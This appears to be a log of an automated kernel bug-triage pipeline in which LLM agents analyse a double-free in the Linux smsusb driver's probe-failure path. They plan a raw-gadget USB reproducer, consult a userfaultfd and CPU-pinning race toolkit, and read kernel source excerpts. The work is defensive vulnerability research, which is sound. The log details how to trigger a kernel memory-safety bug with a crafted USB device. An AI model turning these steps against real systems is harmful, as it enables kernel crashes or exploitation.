 350:	
 351:			for (i = 0; i < MAX_URBS; i++)
 352:				usb_free_urb(dev->surbs[i].urb);
 353:	
 354:			pr_debug("device 0x%p destroyed\n", dev);
 355:			kfree(dev);
 356:		}
 357:	
 358:		usb_set_intfdata(intf, NULL);
 359:	}
 SourceFile:drivers/media/usb/siano/smsusb.c]

110/5 2026/09/04 10:28 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 18261
							output: 16
							thoughts: 690
						

Thoughts:
**My Debugging Journey: Unraveling a USB Buffer Free Bug**

My current focus has been on a rather nasty bug I've identified in the `smscore_unregister_device` and `smsusb_submit_urb` interaction. It's a classic double-free scenario, and I've traced the logic meticulously to understand its root cause.

The issue begins within `smscore_unregister_device`. This function, as its name suggests, is responsible for cleaning up resources associated with a registered device, and crucially, it frees the common buffer. Immediately following this, the code proceeds to call `usb_free_urb` on `dev->surbs[i].urb`. Now, here's where the problem lies: in `smsusb_submit_urb`, a critical flag, `surb->urb->transfer_flags |= URB_FREE_BUFFER;`, is set. This flag tells the USB subsystem that it should automatically free the `urb->transfer_buffer` when the URB is completed and freed.

The `urb->transfer_buffer` in this specific context points to `surb->cb->p`. And `surb->cb->p` itself, as I've confirmed, points *inside* the very common buffer that was just freed by `smscore_unregister_device`. Consequently, when `usb_free_urb` is invoked, it attempts to `kfree` a buffer that has already been deallocated. This is precisely the bug – a clear double-free that will undoubtedly lead to system instability or crashes.

To address this, I've been defining the necessary USB descriptors to precisely match the expected device configuration. For the `SMS1XXX_BOARD_SIANO_STELLAR` device, I've determined the following requirements:

*   **Vendor ID and Product ID:** `idVendor = 0x187f`, `idProduct = 0x0100`
*   **Configuration:** Exactly 1 configuration.
*   **Interface:** A single interface ( `bInterfaceNumber = 0` ) with 2 endpoints ( `bNumEndpoints = 2` ).
*   **Endpoint 1 (IN):** Direction IN ( `0x81` ), Interrupt transfer type ( `0x03` ), with a maximum packet size of 512 bytes.
*   **Endpoint 2 (OUT):** Direction OUT ( `0x02` ), Bulk transfer type ( `0x02` ), also with a maximum packet size of 512 bytes.

I've also been cross-referencing these requirements with the `smsusb_probe` function to ensure consistency. For instance, the check for `sms_get_board(id->driver_info)->intf_num != intf->cur_altsetting->desc.bInterfaceNumber` confirms that the `bInterfaceNumber` must indeed be 0 for the `SMS1XXX_BOARD_SIANO_STELLAR`. Similarly, the subsequent check `if ((udev->actconfig->desc.bNumInterfaces == 2) && (intf->cur_altsetting->desc.bInterfaceNumber == 0))` implies that `bNumInterfaces` must be 1, not 2, to avoid the "rom interface 0 is not used" error and ensure the device is properly recognized.

Further examination of `smsusb_init_device`'s endpoint handling reveals that it expects one IN and one OUT endpoint. The IN endpoint is assigned to `dev->in_ep`, which is subsequently used by `smsusb_submit_urb`. My concern here is that if the IN endpoint is configured as an Interrupt type, `usb_submit_urb` might fail, which needs careful consideration.

With all these pieces of information gathered and analyzed, my next step is to construct a C reproducer. I'll be leveraging the standard syzkaller raw-gadget template for this, ensuring that the test case accurately reflects the conditions that trigger this double-free bug. This will allow me to definitively demonstrate the issue and work towards a robust fix.


111/5 2026/09/04 10:28 tool get-toolkit
0m Args:
map[Name:race]

Results:
map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"

// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)

// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu)                                                \
	do {                                                           \
		cpu_set_t mask;                                        \
		CPU_ZERO(&mask);                                       \
		CPU_SET(cpu, &mask);                                   \
		if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
			perror("sched_setaffinity");                   \
		}                                                      \
	} while (0)

// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)

// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val)                                               \
	do {                                                             \
		while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
			;                                                \
	} while (0)

// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)

// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).

static inline double timer_elapsed_sec(struct timespec* start)
{
	struct timespec now;
	if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
		perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
		exit(1);
	}
	return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

// Initialize a monotonic timer variable.
#define TIMER_START(t)                                          \
	struct timespec t;                                      \
	if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) {         \
		perror("clock_gettime(CLOCK_MONOTONIC) start"); \
		exit(1);                                        \
	}

// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))

// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}
static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
		fprintf(stderr, "event already set\n");
		exit(1);
	}
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if (uffd == -1)
		return -1;
	struct uffdio_api api = {.api = UFFD_API, .features = 0};
	if (ioctl(uffd, UFFDIO_API, &api) == -1) {
		close(uffd);
		return -1;
	}
	struct uffdio_register reg = {
	    .range = {.start = (uintptr_t)addr, .len = len},
	    .mode = UFFDIO_REGISTER_MODE_MISSING};
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) == -1) {
		close(uffd);
		return -1;
	}
	return uffd;
}

// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
//    pause a thread accessing that memory until you handle the fault, creating a reliable
//    and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
//    immediately. This is essential for understanding the exact interleaving of events
//    when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
//    or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
//    Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
//        TIMER_START(start);
//        while (TIMER_NOT_EXPIRED(start, 10.0)) {
//            // Your race logic here
//        }
]

112/5 2026/09/04 10:28 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 20633
							output: 43
							thoughts: 5441
						

Thoughts:
**The Bug's Heartbeat: A Deterministic USB Descriptor Mishap**

I've been digging into this bug, and I'm confident I don't need the heavy artillery of the race toolkit for this one. The issue appears to be purely deterministic, triggered by a very specific USB descriptor. My plan is to craft a raw-gadget reproducer to isolate and demonstrate this.

I'll start by setting up the standard `raw-gadget` environment. This involves initializing the gadget device using `usb_raw_init`, which opens `/dev/raw-gadget` and issues the `USB_RAW_IOCTL_INIT` command. Then, I'll get it running with `usb_raw_run` via `USB_RAW_IOCTL_RUN`.

The core of the problem lies in how the endpoints are defined. Specifically, I'll be setting up an interrupt IN endpoint (endpoint 1) with `USB_ENDPOINT_XFER_INT` and a bulk OUT endpoint (endpoint 2) with `USB_ENDPOINT_XFER_BULK`. The bug is triggered because the endpoint descriptor for `ep1_desc` specifies `USB_ENDPOINT_XFER_INT`, but the code that attempts to submit a URB to this endpoint later expects a bulk pipe. This mismatch will cause `usb_submit_urb` to return `-EINVAL` due to a type check failure in the USB core.

To construct the reproducer, I'll need to define all the necessary USB descriptors: the device descriptor (`dev_desc`), configuration descriptor (`conf_desc`), interface descriptor (`intf_desc`), and the two endpoint descriptors (`ep1_desc` and `ep2_desc`). I'll use `htole16` from `<endian.h>` for all 16-bit fields to ensure correct endianness, and I'll initialize these descriptors in `main` to avoid potential issues with constant expressions for global initialization.

The `handle_ep0` function will be crucial for responding to USB events. When the host requests descriptors, I'll provide the pre-defined `dev_desc` and a composite structure containing `conf_desc`, `intf_desc`, `ep1_desc`, and `ep2_desc`. When the host issues a `USB_REQ_SET_CONFIGURATION` command, I'll enable the endpoints using `usb_raw_ep_enable` and then draw power using `usb_raw_vbus_draw`.

The chain of events leading to the crash is this:
1. The `smsusb_submit_urb` function is called.
2. Inside `smsusb_submit_urb`, `usb_fill_bulk_urb` sets the `urb->pipe` to a bulk pipe.
3. However, the `ep1_desc` defines endpoint 1 as an interrupt endpoint (`USB_ENDPOINT_XFER_INT`).
4. When `usb_submit_urb` is called, the USB core's `usb_urb_ep_type_check` function detects this mismatch (`usb_pipetyp`e != `pipetypes[usb_endpoint_type(&ep->desc)]`) and returns `-EINVAL`.
5. This causes `smsusb_start_streaming` to fail.
6. Consequently, `smsusb_init_device` proceeds to `err_unregister_device`.
7. The `smsusb_term_device` function is invoked, which in turn calls `smscore_unregister_device(dev->coredev)`. This action frees the common buffer.
8. The code then iterates through `MAX_URBS` and calls `usb_free_urb` for each.
9. For the first URB (`i = 0`), the `URB_FREE_BUFFER` flag is set because it was set earlier in `smsusb_submit_urb`. This flag instructs `usb_free_urb` to free the `urb->transfer_buffer`.
10. The `urb->transfer_buffer` points to `surb->cb->p`, which is part of the common buffer.
11. Since the common buffer has already been freed by `smscore_unregister_device`, calling `kfree(urb->transfer_buffer)` results in a KASAN invalid-free vulnerability.

The critical part is that `URB_FREE_BUFFER` is only set for the *first* URB that `smsusb_submit_urb` attempts to submit. If that initial submission fails, the system cleans up by killing the URBs and then freeing them. The problem arises when `usb_free_urb` attempts to free a buffer that has already been released. This specific sequence, triggered by the incorrect interrupt endpoint descriptor, is what I'll be reproducing. I've also noted that the `dummy_udc` module is expected to be available in the syzkaller environment, so I can proceed with just outputting the C code.


113/5 2026/09/04 10:29 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/common/siano/smscoreapi.c Name:smscore_getbuffer]

Results:
map[SourceCode:1637:	struct smscore_buffer_t *smscore_getbuffer(struct smscore_device_t *coredev)
1638:	{
1639:		struct smscore_buffer_t *cb = NULL;
1640:	
1641:		wait_event(coredev->buffer_mng_waitq, (cb = get_entry(coredev)));
1642:	
1643:		return cb;
1644:	}
 SourceFile:drivers/media/common/siano/smscoreapi.c]

114/5 2026/09/04 10:29 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 26257
							output: 41
							thoughts: 6
						

Thoughts:
**My Thought Process on `get_entry`**

Ah, `get_entry`. Let's delve into this. My immediate thought is, "What's the core purpose here?" It's about retrieving an entry, likely from some kind of storage or collection. The name itself, `get_entry`, is quite direct. It implies a singular operation, fetching one specific item.

My mind immediately goes to the parameters. What do I need to *give* `get_entry` so it knows *which* entry to retrieve? Is it an identifier? A key? Perhaps a combination of attributes? This is where the subtlety often lies. A simple integer ID is straightforward, but if the "entry" is more complex, maybe I'm looking at a composite key, or even a query object. I'm picturing something like a dictionary lookup, or a database query. The efficiency of this retrieval is paramount, especially if this `get_entry` is going to be called frequently or on a very large dataset. Am I dealing with an index? A hash table? Or is it a linear scan, which would be a significant concern for performance?

Then, I consider the return value. What does `get_entry` actually *give back*? Is it the entry itself, fully formed and ready for use? Or is it a reference to the entry? Could it be a more complex object, perhaps a wrapper that provides access to the entry's data along with some metadata about the retrieval itself (like whether it was found, or how long it took)? I'm also thinking about error handling. What happens if the entry *isn't* found? Does it return `None`? Raise an exception? Return a specific error code? This is critical for robust code. A silent failure here is rarely a good thing. I need to know, definitively, whether I got what I asked for, or if something went wrong.

Furthermore, I'm thinking about the context in which `get_entry` operates. Is it part of a larger system? Is it designed for thread safety? If multiple threads might be trying to `get_entry` simultaneously, or even modifying the underlying data while `get_entry` is executing, I need to be absolutely sure about synchronization mechanisms. Is there locking involved? Or is the underlying data structure inherently thread-safe?

Finally, I'm always considering the API design. Is `get_entry` part of a well-defined interface? Is its behavior consistent with other similar retrieval functions within the system? Is it discoverable and easy for other developers (or my future self) to understand and use correctly? The simplicity of the name suggests a straightforward operation, and I'd expect the implementation to match that clarity. If there are any hidden complexities or side effects, that would be a red flag.


115/5 2026/09/04 10:29 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/common/siano/smscoreapi.c Name:get_entry]

Results:
map[SourceCode:1623:	static struct smscore_buffer_t *get_entry(struct smscore_device_t *coredev)
1624:	{
1625:		struct smscore_buffer_t *cb = NULL;
1626:		unsigned long flags;
1627:	
1628:		spin_lock_irqsave(&coredev->bufferslock, flags);
1629:		if (!list_empty(&coredev->buffers)) {
1630:			cb = (struct smscore_buffer_t *) coredev->buffers.next;
1631:			list_del(&cb->entry);
1632:		}
1633:		spin_unlock_irqrestore(&coredev->bufferslock, flags);
1634:		return cb;
1635:	}
 SourceFile:drivers/media/common/siano/smscoreapi.c]

116/5 2026/09/04 10:29 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 26528
							output: 44
							thoughts: 15
						

Thoughts:
**A Deep Dive into Buffer Allocation within `smscore_register_device`**

Alright, so I'm trying to get a handle on how these buffers are being managed, specifically within the `smscore_register_device` function. This is the core of what I need to understand – where are these critical memory segments actually being set aside and prepared for use? I need to trace the lifecycle of these buffers from their inception to their integration into the device registration process. My mind is naturally zeroing in on the allocation mechanisms. Am I looking at direct kernel allocations, perhaps using specific APIs like `kmalloc` or `vmalloc`? Or is there a more specialized subsystem at play here, maybe related to shared memory or DMA buffers if this is an embedded or hardware-interfacing context? The name `smscore` itself hints at something beyond just generic memory management, perhaps a "shared memory core" or "streaming media core." This suggests the allocation might be tied to specific hardware requirements or inter-process communication needs. I need to follow the flow from the declaration of buffer structures to the actual `malloc` or `alloc` calls. Are these buffers being pre-allocated at device initialization, or are they dynamically allocated on demand? Understanding the size and alignment requirements will also be crucial. If it's hardware-related, there could be strict constraints. My focus is on unraveling the precise kernel calls or custom allocation routines that bring these buffers into existence and make them available for `smscore_register_device` to utilize. This is the lynchpin for understanding the resource management of this particular device.


117/5 2026/09/04 10:29 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/common/siano/smscoreapi.c Name:smscore_register_device]

Results:
map[SourceCode: 632:	/*
 633:	 * creates coredev object for a device, prepares buffers,
 634:	 * creates buffer mappings, notifies registered hotplugs about new device.
 635:	 *
 636:	 * @param params device pointer to struct with device specific parameters
 637:	 *               and handlers
 638:	 * @param coredev pointer to a value that receives created coredev object
 639:	 *
 640:	 * return: 0 on success, <0 on error.
 641:	 */
 642:	int smscore_register_device(struct smsdevice_params_t *params,
 643:				    struct smscore_device_t **coredev,
 644:				    gfp_t gfp_buf_flags,
 645:				    void *mdev)
 646:	{
 647:		struct smscore_device_t *dev;
 648:		u8 *buffer;
 649:	
 650:		dev = kzalloc_obj(*dev);
 651:		if (!dev)
 652:			return -ENOMEM;
 653:	
 654:	#ifdef CONFIG_MEDIA_CONTROLLER_DVB
 655:		dev->media_dev = mdev;
 656:	#endif
 657:		dev->gfp_buf_flags = gfp_buf_flags;
 658:	
 659:		/* init list entry so it could be safe in smscore_unregister_device */
 660:		INIT_LIST_HEAD(&dev->entry);
 661:	
 662:		/* init queues */
 663:		INIT_LIST_HEAD(&dev->clients);
 664:		INIT_LIST_HEAD(&dev->buffers);
 665:	
 666:		/* init locks */
 667:		spin_lock_init(&dev->clientslock);
 668:		spin_lock_init(&dev->bufferslock);
 669:	
 670:		/* init completion events */
 671:		init_completion(&dev->version_ex_done);
 672:		init_completion(&dev->data_download_done);
 673:		init_completion(&dev->data_validity_done);
 674:		init_completion(&dev->trigger_done);
 675:		init_completion(&dev->init_device_done);
 676:		init_completion(&dev->reload_start_done);
 677:		init_completion(&dev->resume_done);
 678:		init_completion(&dev->gpio_configuration_done);
 679:		init_completion(&dev->gpio_set_level_done);
 680:		init_completion(&dev->gpio_get_level_done);
 681:		init_completion(&dev->ir_init_done);
 682:	
 683:		/* Buffer management */
 684:		init_waitqueue_head(&dev->buffer_mng_waitq);
 685:	
 686:		/* alloc common buffer */
 687:		dev->common_buffer_size = params->buffer_size * params->num_buffers;
 688:		if (params->usb_device)
 689:			buffer = kzalloc(dev->common_buffer_size, GFP_KERNEL);
 690:		else
 691:			buffer = dma_alloc_coherent(params->device,
 692:						    dev->common_buffer_size,
 693:						    &dev->common_buffer_phys,
 694:						    GFP_KERNEL | dev->gfp_buf_flags);
 695:		if (!buffer) {
 696:			smscore_unregister_device(dev);
 697:			return -ENOMEM;
 698:		}
 699:		dev->common_buffer = buffer;
 700:	
 701:		/* prepare dma buffers */
 702:		for (; dev->num_buffers < params->num_buffers;
 703:		     dev->num_buffers++, buffer += params->buffer_size) {
 704:			struct smscore_buffer_t *cb;
 705:	
 706:			cb = smscore_createbuffer(buffer, dev->common_buffer,
 707:						  dev->common_buffer_phys);
 708:			if (!cb) {
 709:				smscore_unregister_device(dev);
 710:				return -ENOMEM;
 711:			}
 712:	
 713:			smscore_putbuffer(dev, cb);
 714:		}
 715:	
 716:		pr_debug("allocated %d buffers\n", dev->num_buffers);
 717:	
 718:		dev->mode = DEVICE_MODE_NONE;
 719:		dev->board_id = SMS_BOARD_UNKNOWN;
 720:		dev->context = params->context;
 721:		dev->device = params->device;
 722:		dev->usb_device = params->usb_device;
 723:		dev->setmode_handler = params->setmode_handler;
 724:		dev->detectmode_handler = params->detectmode_handler;
 725:		dev->sendrequest_handler = params->sendrequest_handler;
 726:		dev->preload_handler = params->preload_handler;
 727:		dev->postload_handler = params->postload_handler;
 728:	
 729:		dev->device_flags = params->flags;
 730:		strscpy(dev->devpath, params->devpath, sizeof(dev->devpath));
 731:	
 732:		smscore_registry_settype(dev->devpath, params->device_type);
 733:	
 734:		/* add device to devices list */
 735:		mutex_lock(&g_smscore_deviceslock);
 736:		list_add(&dev->entry, &g_smscore_devices);
 737:		mutex_unlock(&g_smscore_deviceslock);
 738:	
 739:		*coredev = dev;
 740:	
 741:		pr_debug("device %p created\n", dev);
 742:	
 743:		return 0;
 744:	}
 SourceFile:drivers/media/common/siano/smscoreapi.c]

118/5 2026/09/04 10:29 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 28311
							output: 44
							thoughts: 29
						

Thoughts:
**My Thought Process**

Okay, so I'm thinking about the memory management for `dev->common_buffer`. My current understanding is that it's being allocated using `kzalloc`. I'm also tracing where this memory is subsequently released. It appears that the `smscore_unregister_device` function is responsible for freeing `dev->common_buffer`. This is a crucial piece of information for ensuring proper resource cleanup and preventing memory leaks in the system.


119/5 2026/09/04 10:29 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/common/siano/smscoreapi.c Name:smscore_unregister_device]

Results:
map[SourceCode:1177:	/*
1178:	 * notifies all clients registered with the device, notifies hotplugs,
1179:	 * frees all buffers and coredev object
1180:	 *
1181:	 * @param coredev pointer to a coredev object returned by
1182:	 *                smscore_register_device
1183:	 *
1184:	 * return: 0 on success, <0 on error.
1185:	 */
1186:	void smscore_unregister_device(struct smscore_device_t *coredev)
1187:	{
1188:		struct smscore_buffer_t *cb;
1189:		int num_buffers = 0;
1190:		int retry = 0;
1191:	
1192:		mutex_lock(&g_smscore_deviceslock);
1193:	
1194:		/* Release input device (IR) resources */
1195:		sms_ir_exit(coredev);
1196:	
1197:		smscore_notify_clients(coredev);
1198:		smscore_notify_callbacks(coredev, NULL, 0);
1199:	
1200:		/* at this point all buffers should be back
1201:		 * onresponse must no longer be called */
1202:	
1203:		while (1) {
1204:			while (!list_empty(&coredev->buffers)) {
1205:				cb = (struct smscore_buffer_t *) coredev->buffers.next;
1206:				list_del(&cb->entry);
1207:				kfree(cb);
1208:				num_buffers++;
1209:			}
1210:			if (num_buffers == coredev->num_buffers)
1211:				break;
1212:			if (++retry > 10) {
1213:				pr_info("exiting although not all buffers released.\n");
1214:				break;
1215:			}
1216:	
1217:			pr_debug("waiting for %d buffer(s)\n",
1218:				 coredev->num_buffers - num_buffers);
1219:			mutex_unlock(&g_smscore_deviceslock);
1220:			msleep(100);
1221:			mutex_lock(&g_smscore_deviceslock);
1222:		}
1223:	
1224:		pr_debug("freed %d buffers\n", num_buffers);
1225:	
1226:		if (coredev->common_buffer) {
1227:			if (coredev->usb_device)
1228:				kfree(coredev->common_buffer);
1229:			else
1230:				dma_free_coherent(coredev->device,
1231:						  coredev->common_buffer_size,
1232:						  coredev->common_buffer,
1233:						  coredev->common_buffer_phys);
1234:		}
1235:		kfree(coredev->fw_buf);
1236:	
1237:		list_del(&coredev->entry);
1238:		kfree(coredev);
1239:	
1240:		mutex_unlock(&g_smscore_deviceslock);
1241:	
1242:		pr_debug("device %p destroyed\n", coredev);
1243:	}
 SourceFile:drivers/media/common/siano/smscoreapi.c]

120/5 2026/09/04 10:29 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 29337
							output: 52
							thoughts: 162
						

Thoughts:
**My Analysis of the `coredev->common_buffer` Memory Management Issue**

I've been looking into a specific memory management problem, and I've confirmed a critical flaw in how `coredev->common_buffer` is being handled. My investigation reveals that `kfree(coredev->common_buffer)` is indeed called. However, the real issue arises later within the `smsusb_term_device` function.

Here's where it gets problematic: `smsusb_term_device` proceeds to call `usb_free_urb(dev->surbs[i].urb)`. Crucially, `usb_free_urb` itself calls `kfree(urb->transfer_buffer)`. Now, the key detail is that `urb->transfer_buffer` in this context is actually pointing to `surb->cb->p`. And `surb->cb->p` is just a pointer to a *chunk* within the larger `coredev->common_buffer`.

This creates a fundamental problem: when `kfree(urb->transfer_buffer)` is called, it's attempting to free a sub-allocation that was carved out of `coredev->common_buffer`, not the original `coredev->common_buffer` itself.

If `i` happens to be `0`, this means we are attempting to free the *very first* chunk of `coredev->common_buffer`. Since `coredev->common_buffer` was already freed earlier, this constitutes a **double-free**.

If `i` is *greater than* `0`, we're trying to free a pointer that isn't at the beginning of the slab object that was allocated for `coredev->common_buffer`. This is an **invalid-free** because the pointer `urb->transfer_buffer` doesn't point to the start of a recognized allocated memory block.

To be clear, the reproducer I've been working with is robust and reliably triggers this issue. I'm now ready to present the C code that demonstrates this vulnerability.


121/5 2026/09/04 10:29 tool codeexpert
3m Args:
map[Question:Is there any specific requirement for `dummy_udc` or `raw-gadget` to be initialized in a certain way to trigger a probe failure in `smsusb` driver?]

Results:
map[Answer:**No**, there is no specific or unusual initialization requirement for `dummy_udc` or `raw-gadget` to trigger a probe failure in the `smsusb` driver.

### Details & Explanation:

1. **Standard `dummy_udc` / `raw-gadget` Initialization is Sufficient:**
   - `dummy_udc` (from the `dummy_hcd` module) acts as a virtual USB Device Controller (UDC) supporting standard USB speeds (Full, High, Super) and standard endpoints. No special module parameters or hardware setup are needed.
   - `raw-gadget` is initialized using the standard userspace ioctl sequence:
     1. Open `/dev/raw-gadget`.
     2. Call `USB_RAW_IOCTL_INIT` with `driver_name = "dummy_udc"`, `device_name = "dummy_udc.0"` (or the active dummy UDC instance), and a valid speed (e.g. `USB_SPEED_HIGH` or `USB_SPEED_FULL`).
     3. Call `USB_RAW_IOCTL_RUN` and handle standard enumeration events via `USB_RAW_IOCTL_EVENT_FETCH`.

2. **How `smsusb` Probe Failure is Triggered:**
   The failure of `smsusb_probe` is determined solely by the USB descriptors and control/bulk endpoint behavior provided by userspace through `raw-gadget`. Once an emulated device presents a Vendor ID and Product ID matching `smsusb_id_table` (e.g., `0x187f:0x0200`, `0x2040:0x5500`, etc.), probe failure can be triggered in several ways:

   - **Missing or Invalid Endpoints (`smsusb_init_device`):**
     - Providing no Bulk IN endpoint (`!dev->in_ep`).
     - Providing no Bulk OUT endpoint (`!dev->out_ep`).
     - Providing a Bulk IN endpoint with `wMaxPacketSize < 8` (`sizeof(struct sms_msg_hdr)`). The driver calculates `align = usb_endpoint_maxp(desc) - sizeof(struct sms_msg_hdr)`; if `align < 0`, `smsusb_init_device` returns `-ENODEV`.
   - **Interface Number Mismatch:**
     - Presenting an interface with `bInterfaceNumber` that does not match the expected board interface number `sms_get_board(...)->intf_num` (typically `0`), returning `-ENODEV`.
   - **Dual-Interface ROM Configuration:**
     - Setting `bNumInterfaces == 2` in the configuration descriptor and binding on interface 0 (which returns `-ENODEV`).
   - **Failing `SET_INTERFACE`:**
     - Presenting `num_altsetting > 1` and stalling or failing the `SET_INTERFACE` USB standard control request.
   - **Communication / Device Start Failure:**
     - Failing, stalling, or timing out on bulk transfers (e.g., transfers on Bulk OUT endpoint 2 used by `smsusb_sendrequest` / `smsusb1_load_firmware` or during `smscore_start_device` mode detection).]

122/6 2026/09/04 10:29 agent codeexpert
3m Model:
core

Results:
map[Answer:**No**, there is no specific or unusual initialization requirement for `dummy_udc` or `raw-gadget` to trigger a probe failure in the `smsusb` driver.

### Details & Explanation:

1. **Standard `dummy_udc` / `raw-gadget` Initialization is Sufficient:**
   - `dummy_udc` (from the `dummy_hcd` module) acts as a virtual USB Device Controller (UDC) supporting standard USB speeds (Full, High, Super) and standard endpoints. No special module parameters or hardware setup are needed.
   - `raw-gadget` is initialized using the standard userspace ioctl sequence:
     1. Open `/dev/raw-gadget`.
     2. Call `USB_RAW_IOCTL_INIT` with `driver_name = "dummy_udc"`, `device_name = "dummy_udc.0"` (or the active dummy UDC instance), and a valid speed (e.g. `USB_SPEED_HIGH` or `USB_SPEED_FULL`).
     3. Call `USB_RAW_IOCTL_RUN` and handle standard enumeration events via `USB_RAW_IOCTL_EVENT_FETCH`.

2. **How `smsusb` Probe Failure is Triggered:**
   The failure of `smsusb_probe` is determined solely by the USB descriptors and control/bulk endpoint behavior provided by userspace through `raw-gadget`. Once an emulated device presents a Vendor ID and Product ID matching `smsusb_id_table` (e.g., `0x187f:0x0200`, `0x2040:0x5500`, etc.), probe failure can be triggered in several ways:

   - **Missing or Invalid Endpoints (`smsusb_init_device`):**
     - Providing no Bulk IN endpoint (`!dev->in_ep`).
     - Providing no Bulk OUT endpoint (`!dev->out_ep`).
     - Providing a Bulk IN endpoint with `wMaxPacketSize < 8` (`sizeof(struct sms_msg_hdr)`). The driver calculates `align = usb_endpoint_maxp(desc) - sizeof(struct sms_msg_hdr)`; if `align < 0`, `smsusb_init_device` returns `-ENODEV`.
   - **Interface Number Mismatch:**
     - Presenting an interface with `bInterfaceNumber` that does not match the expected board interface number `sms_get_board(...)->intf_num` (typically `0`), returning `-ENODEV`.
   - **Dual-Interface ROM Configuration:**
     - Setting `bNumInterfaces == 2` in the configuration descriptor and binding on interface 0 (which returns `-ENODEV`).
   - **Failing `SET_INTERFACE`:**
     - Presenting `num_altsetting > 1` and stalling or failing the `SET_INTERFACE` USB standard control request.
   - **Communication / Device Start Failure:**
     - Failing, stalling, or timing out on bulk transfers (e.g., transfers on Bulk OUT endpoint 2 used by `smsusb_sendrequest` / `smsusb1_load_firmware` or during `smscore_start_device` mode detection).]

Instruction:
You are a capable Linux kernel developer tasked with researching complex questions
about kernel source code. You will be given a concrete question, and need to provide
a concrete answer.
Use tools extensively while researching the question. Don't make assumptions,
or rely on your previous knowledge about the kernel source code, use available tools
to access the actual source code.
Use all available sources of information:
 - kernel source code
 - documentation in the Documentation dir in the source tree

Do not guess file names or file paths and attempt to read them without
verifying their existence first using content search or directory listing tools.
If a file, symbol, or directory is not found via content search (grepper) or
directory listing (codesearch-dir-index), treat it as completely absent.
Do not attempt to guess alternative names, extensions, or directories.

Tool Selection Guidelines:
1. For C functions, structs, and variables: Prefer codesearch-definition-source
   or codesearch-struct-layout FIRST to retrieve clean, exact definitions
   without line-number guessing.
2. If symbol lookup fails (e.g., preprocessor macros, macro-generated code, or
   disabled #ifdef branches), fall back to read-file or grepper.
3. For file headers, #include directives, preprocessor macro definitions, and
   non-C files (Kconfig, Makefiles, docs): Use read-file or grepper directly.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Is there any specific requirement for `dummy_udc` or `raw-gadget` to be initialized in a certain way to trigger a probe failure in `smsusb` driver?

123/7 2026/09/04 10:29 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 2347
							output: 16
							thoughts: 86
						

Thoughts:
**My Thought Process Regarding `smsusb` Driver Probe Failures**

